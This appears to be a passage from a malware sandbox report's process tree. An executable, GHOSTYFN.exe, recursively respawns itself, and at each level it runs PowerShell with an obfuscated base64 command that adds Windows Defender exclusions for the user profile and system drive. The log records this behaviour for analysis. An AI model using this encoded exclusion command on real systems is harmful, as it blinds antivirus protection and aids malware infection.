        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        80⤵
        
        PID:8024
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        80⤵
        
        PID:8028
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        81⤵
        
        PID:6540
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        81⤵
        
        PID:3708
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        82⤵
        
        PID:2348
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        82⤵
        
        PID:4504
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        83⤵
        
        PID:4044
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        83⤵
        
        PID:224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        84⤵
        
        PID:7360
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        84⤵
        
        PID:6592
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        85⤵
        
        PID:7184
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        85⤵
        
        PID:6296
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        86⤵
        
        PID:2004
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        86⤵
        
        PID:4636
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        87⤵
        
        PID:556
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        87⤵
        
        PID:6756
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        88⤵
        
        PID:7716
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        88⤵
        
        PID:1620
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        89⤵
        
        PID:3604
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        89⤵
        
        PID:7316
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        90⤵
        
        PID:5808
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        90⤵
        
        PID:8180
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        91⤵
        
        PID:6708
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        91⤵
        
        PID:5912
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        92⤵
        
        PID:6252
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        92⤵
        
        PID:224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        93⤵
        
        PID:1832
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        93⤵
        
        PID:5236
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        94⤵
        
        PID:4304
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        94⤵
        
        PID:5364
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        95⤵
        
        PID:7588
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        95⤵
        
        PID:5336
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        96⤵
        
        PID:4908
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        96⤵
        
        PID:5136
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        97⤵
        
        PID:1620
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        97⤵
        
        PID:516
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        98⤵
        
        PID:1372
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        98⤵
        
        PID:8140
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        99⤵
        
        PID:7548
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        99⤵
        
        PID:5904
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        100⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        100⤵
        
        PID:1960
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        101⤵
        
        PID:7932
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        101⤵
        
        PID:3540
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        102⤵
        
        PID:1076
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        102⤵
        
        PID:7296
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        103⤵
        
        PID:3316
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        103⤵
        
        PID:7828
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        104⤵
        
        PID:4004
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        104⤵
        
        PID:5072
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        105⤵
        
        PID:6164
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        106⤵
        
        PID:1608
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        105⤵
        
        PID:7476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        106⤵
        
        PID:4888
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        106⤵
        
        PID:4956
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        107⤵
        
        PID:7724
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        107⤵
        
        PID:7008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        108⤵
        
        PID:3680
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        108⤵
        
        PID:4644
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        109⤵
        
        PID:6428
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        109⤵
        
        PID:6008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        110⤵
        
        PID:2512
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        110⤵
        
        PID:792
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        111⤵
        
        PID:7976
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        111⤵
        
        PID:6224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
